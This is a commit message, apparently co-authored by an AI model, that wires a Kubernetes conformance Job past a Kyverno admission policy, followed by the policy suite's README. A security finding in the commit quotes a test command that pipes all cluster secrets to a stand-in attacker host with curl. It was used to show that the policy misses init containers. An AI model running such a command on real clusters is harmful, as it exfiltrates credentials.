jakman85andClaude Opus 5
d3d5f6d8d2
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
platform/kyverno — L0 policy-as-code gate & admission enforcer (T-0.5)
Kyverno is the platform's L0 static/policy gate (in CI, no cluster) and its
in-cluster admission enforcer (ADR-0011, docs/14, docs/07). The policies here
encode spec invariants as code: they run in CI as a merge gate today (Phase 0, no
cluster) and the same policies are wired to run in-cluster as an admission controller
later (Phase 2, admission/).
Enforcement complements, never replaces, behavior tests. A policy admitting a manifest is not proof the runtime behaves (R-TEST-01). The L2/L3 Chainsaw behavior + fault-injection tests remain mandatory. See
admission/README.md.
Layout
platform/kyverno/
├── README.md # this file: policy→requirement map + CI entrypoint
├── labels.md # label/annotation convention (PROPOSED contract — escalated)
├── policies/ # ClusterPolicies (authored once; CI + admission)
│ ├── require-default-deny-baseline.yaml # R-NET-01 (generate baseline)
│ ├── validate-default-deny-shape.yaml # R-NET-01 (reject malformed baseline)
│ ├── disallow-plaintext-secrets.yaml # R-SEC-01 (CI-only: sops block required)
│ ├── restrict-host-namespaces.yaml # R-SEC-02 (+R-NET-01 bypass guard)
│ ├── require-egress-class-label.yaml # R-NET-05
│ ├── require-auth-mode-label.yaml # R-IDP-02
│ └── label-cdi-worker-pods.yaml # R-NET-05+R-IDP-02 (mutate: CDI's own worker pods)
├── servicedefinition/ # ServiceDefinition shape validation (kyverno-json)
│ ├── validate-servicedefinition.yaml # R-GITOPS-02
│ ├── payloads/ (valid-* / invalid-*) # pass & fail fixtures
│ └── README.md
├── tests/ # `kyverno test` suite — runnable L0 tests NOW, no cluster
│ ├── kyverno-test.yaml # policies × fixtures × expected results
│ ├── resources/ (good-* / bad-* fixtures + generated golden)
│ └── controller-worker-pods/ # the CDI-worker mutation, proven BOTH ways
│ ├── kyverno-test.yaml # 2 Tests: cdi-sa requester vs ordinary requester
│ ├── userinfo-cdi-sa.yaml / userinfo-ordinary.yaml
│ └── resources/ + patched/ # real + FORGED importer pods; expected patch
├── admission/ # in-cluster enforcing bundle (scaffolding, T-2.7)
│ ├── namespace.yaml · helmrelease.yaml · kustomization.yaml
│ ├── secret-provenance.yaml # R-SEC-01 admission variant (provenance)
│ └── README.md
└── scripts/run-l0.sh # the single-command CI entrypoint for the gate
Policy → requirement map
| Policy / artifact | Rule(s) | Requirement | Spec source | Behaves |
|---|---|---|---|---|
require-default-deny-baseline |
generate-default-deny |
R-NET-01 | docs/03 default-deny baseline | Every app namespace auto-gets a deny-all (ingress+egress, DNS-only) NetworkPolicy |
validate-default-deny-shape |
baseline-must-deny-both-directions |
R-NET-01 | docs/03 | A baseline that leaves a direction open is rejected |
disallow-plaintext-secrets |
secrets-must-be-sops-encrypted |
R-SEC-01 | docs/07, docs/05, ADR-0007 | Committed Secrets must be SOPS-encrypted (sops block); plaintext rejected. CI-only |
restrict-host-namespaces |
disallow-host-namespaces, disallow-privileged-containers |
R-SEC-02 (+R-NET-01) | docs/07 least reach | App pods can't use hostNetwork/PID/IPC or privileged (would bypass default-deny) |
require-egress-class-label |
require-egress-class |
R-NET-05 | docs/03, docs/13 | App pods must declare egress-class ∈ {internet,vpn} |
require-auth-mode-label |
require-auth-mode |
R-IDP-02 | docs/13, docs/15 | App pods must declare auth-mode ∈ {oidc,forward-auth,native,none} |
label-cdi-worker-pods (mutate) |
add-worker-pod-labels |
R-NET-05, R-IDP-02 | docs/03, docs/13 | CDI's controller-generated worker pods (importer-*/uploader-*/cloner-*, created by SA cdi/cdi-sa) get egress-class: internet + auth-mode: none added, so they satisfy the two policies above instead of being exempted from them. Matched on the generating ServiceAccount, never a pod-name prefix |
validate-servicedefinition (kyverno-json) |
shape / dependencies / storage | R-GITOPS-02 | docs/13 (+03,15) | ServiceDefinition is schema/invariant valid before render; public⇒not none auth |
admission/secret-provenance |
secrets-must-be-flux-managed |
R-SEC-01 | docs/07 | Admission-only variant: app-ns Secrets must come from Flux/SOPS (see below) |
Coverage of the T-0.5 requirement set: R-TEST-01 (behavior-tagged, reproducible
tests — this whole suite), R-NET-01, R-SEC-01, R-SEC-02, R-IDP-02,
R-NET-05, R-GITOPS-02. Every policy carries its R-* IDs in the
homelab.keithjackson.dev/requirements annotation so the coverage report can pick
them up automatically.
CI entrypoint (the L0 gate)
CI (WS-GITOPS .gitea/workflows, then Gitea Actions) runs the single command:
platform/kyverno/scripts/run-l0.sh
which performs, with pinned tool versions (KYVERNO_VERSION, KYVERNO_JSON_VERSION):
# 1) ClusterPolicy tests — offline, no cluster
kyverno test platform/kyverno/tests
# 2) ServiceDefinition validation — offline, no cluster
kyverno-json scan --policy platform/kyverno/servicedefinition/validate-servicedefinition.yaml \
--payload <each catalog/ ServiceDefinition and the valid-* fixtures> # must pass
# plus each invalid-* fixture must be REJECTED (script asserts non-zero exit)
kyverno test emits pass/fail per policy×rule×resource and supports JUnit output for
the coverage/merge gate:
kyverno test platform/kyverno/tests --output junit > results/kyverno-l0.junit.xml
Exit non-zero fails the merge gate (docs/14 gating rules). Deterministic, hermetic,
self-contained — no cluster, no external state (reproducibility contract, R-TEST-02).
Notes / handoffs
- Label keys are a proposed contract (
labels.md) shared with WS-NET / WS-SEC / WS-GITOPS. Values are spec-fixed; keys need owner sign-off (coordination-protocol §2). - Controller-generated pods are a cold-start hazard. A policy that matches any Pod in an
app namespace also matches pods that no manifest in git authors. Prod hit this on 2026-09-06:
require-auth-mode-label+require-egress-class-labeldenied CDI's ownimporter-prime-*pod, soDataVolume unifi/unifi-rootdiskstuck inImportScheduledand the UniFi VM had no disk. Fix:policies/label-cdi-worker-pods.yamlmutates those pods to carry truthful labels (matched on the generating ServiceAccountcdi/cdi-sa), rather than excluding them.virt-launcher-*pods need nothing — they inherit the VM pod-template labels. KubeVirt hotplug (hp-volume-*) and export (virt-export-*) pods do not inherit them and are unused here; extend the same policy if either is adopted. PolicyExceptionis NOT usable in this install: the Kyverno admission/background/reports controllers all run--enablePolicyException=false(chart default, verified on prod 2026-09-06). The CRD exists (from the pre-applied CRD bundle) so aPolicyExceptionwould APPLY cleanly and be silently ignored — a policy hole that looks like a fix and isn't.- Secrets CI vs admission divergence is deliberate and documented in
admission/README.mdandpolicies/disallow-plaintext-secrets.yaml. - The ServiceDefinition JSON Schema (WS-GITOPS T-0.3) is the complementary structural
contract; this Kyverno policy encodes the invariants from
docs/13. - Tool availability: neither
kyvernonorkyverno-jsonis installed on the WS-TEST workstation, so this suite was authored but not executed here; the CI agent (T-0.2/T-0.4 harness) runsscripts/run-l0.shas the gate.